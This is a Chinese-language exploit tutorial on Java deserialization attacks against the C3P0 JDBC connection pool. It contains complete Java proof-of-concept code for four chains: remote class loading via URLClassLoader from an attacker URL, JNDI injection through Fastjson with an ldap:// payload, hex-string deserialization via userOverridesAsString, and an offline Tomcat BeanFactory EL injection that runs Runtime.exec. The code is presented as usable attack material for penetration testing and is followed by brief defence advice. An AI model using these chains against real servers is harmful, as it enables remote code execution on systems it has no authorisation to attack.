小白也能学会的C3P0反序列化
字数 2289
更新时间 2026-03-12 12:50:53

C3P0反序列化漏洞利用技术详解

1. 前言

C3P0是一个开源的JDBC连接池,被Hibernate、Spring等开源项目广泛使用。连接池技术的目的是复用数据库连接句柄,避免频繁创建和销毁连接带来的资源消耗。本文主要讲解针对C3P0连接池的反序列化漏洞利用技术,涵盖了多种攻击场景和方法。

2. 环境搭建

要搭建测试环境,需要在项目中添加C3P0的Maven依赖:

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

3. 三种主要利用方式

3.1 反序列化+URLClassLoader远程加载任意类

3.1.1 利用链

PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject -> URLClassLoader动态加载字节码

3.1.2 利用链分析

  1. 序列化过程

    • 利用点在PoolBackedDataSourceBase类的writeObjectreadObject方法
    • writeObject()中,首先尝试序列化connectionPoolDataSource属性
    • 由于connectionPoolDataSource类型不可序列化,进入catch块
    • 实例化ReferenceIndirector对象,调用其indirectForm()方法
    • indirectForm()中,通过connectionPoolDataSourcegetReference()获取Reference对象
    • Reference对象包装为ReferenceSerialized对象并序列化
  2. 关键点

    • 需要创建一个实现ReferenceableConnectionPoolDataSource接口的类
    • 重写getReference方法,实例化一个Reference对象
    • 控制Reference对象的classFactoryclassFactoryLocation参数
  3. 反序列化过程

    • PoolBackedDataSourceBase#readObject()中调用getObject方法
    • 触发ReferenceSerialized#getObject
    • 进入ReferenceableUtils#referenceToObject()
    • 最终通过URLClassLoader加载并实例化远程恶意类

3.1.3 完整EXP代码

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3pclassloaderdemo {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); 
        f1.setAccessible(true);
        f1.set(a,new evil());
        
        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }
    
    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
        
        public Reference getReference() throws NamingException {
            return new Reference("exploit", "com.mchange.v2.naming.JavaBeanObjectFactory", 
                "http://127.0.0.1:9999/");
        }
    }
}

3.1.4 恶意类加载示例

import java.net.URL;
import java.net.URLClassLoader;

public class demo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://127.0.0.1:9999/");
        URLClassLoader loader = new URLClassLoader(new URL[]{url}, demo.class.getClassLoader());
        Class clazz = Class.forName("test", true, loader);
        Object instance = clazz.newInstance();
        System.out.println(instance);
    }
}

3.2 JNDI注入

3.2.1 利用链

JndiRefConnectionPoolDataSource#setLoginTimeout ->
WrapperConnectionPoolDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner -> 
JndiRefForwardingDataSource#dereference() ->
Context#lookup

3.2.2 利用链分析

  1. 触发点JndiRefForwardingDataSource类的dereference()方法中的lookup()方法

  2. 调用路径

    • JndiRefConnectionPoolDataSource#setLoginTimeout()开始
    • 调用WrapperConnectionPoolDataSource#setLoginTimeout
    • 通过getNestedDataSource()生成JndiRefForwardingDataSource对象
    • 调用JndiRefForwardingDataSource#setLoginTimeout()
    • 最终触发inner()方法调用dereference()
  3. 限制条件:受到JDK版本限制

3.2.3 Fastjson环境POC

import com.alibaba.fastjson.JSON;

public class JNDIDemo {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
            "\"jndiName\":\"ldap://127.0.0.1:1389/eee\",\"LoginTimeout\":\"1\"}";
        JSON.parse(payload);
    }
}

3.2.4 直接调用示例

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

public class C3P02 {
    public static void main(String[] args) throws Exception {
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("ldap://127.0.0.1:1389/eee");
        exp.setLoginTimeout(1);
    }
}

3.3 利用HEX字符串进行反序列化攻击

3.3.1 利用条件

  • 需要存在反序列化漏洞的组件,如Fastjson、SnakeYAML等
  • 适合不出网环境利用
  • userOverridesAsString属性可控时触发

3.3.2 利用链分析

  1. 触发点setUserOverridesAsString方法

  2. 处理流程

    • userOverridesAsString不为空时进入if判断
    • 使用substring去除HexAsciiSerializedMap:头和最后一位
    • 将十六进制字符串转换为字节数组
    • 调用fromByteArray()方法
    • 最终在deserializeFromByteArray中触发原生反序列化
  3. 关键方法C3P0ImplUtils.parseUserOverridesAsString

3.3.3 POC示例

import com.alibaba.fastjson.JSON;

public class HEXdemo {
    public static void main(String[] args) {
        String payload = "{" +
            "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
            "\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED00057372002E6A617661...\"" +
            "}";
        JSON.parse(payload);
    }
}

4. 不出网利用

4.1 利用原理

  • 不依赖出网条件
  • 需要目标存在Tomcat8相关依赖
  • 利用ReferenceableUtils#referenceToObject()中的getObjectInstance()方法
  • 通过Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入

4.2 依赖要求

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.15</version>
</dependency>

4.3 技术实现

  1. 利用本地BeanFactory类进行EL表达式注入
  2. 将利用方式一中的getReference()改为EL表达式
  3. 通过ResourceRef设置恶意EL表达式

4.4 POC示例

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class nowebBeafactory {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); 
        f1.setAccessible(true);
        f1.set(a, new evil());
        
        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }
    
    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
        
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, 
                "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", 
                "Runtime.getRuntime().exec('open -a Calculator.app')"));
            return ref;
        }
    }
}

5. 防御建议

  1. 及时更新C3P0到最新版本
  2. 避免不可信数据反序列化
  3. 限制网络出站连接
  4. 使用安全的JDK版本
  5. 对用户输入进行严格过滤和校验
  6. 使用安全的序列化框架

6. 总结

C3P0反序列化漏洞提供了多种攻击路径,攻击者可以根据目标环境选择不同的利用方式:

  • 出网环境:可使用URLClassLoader远程加载或JNDI注入
  • 不出网环境:可使用HEX字符串反序列化或本地BeanFactory的EL表达式注入
  • 需要根据目标的具体依赖和环境选择最合适的攻击方式

每种利用方式都有其特定的触发条件和依赖要求,在实际渗透测试中需要根据目标环境灵活选择。

相似文章
相似文章
 全屏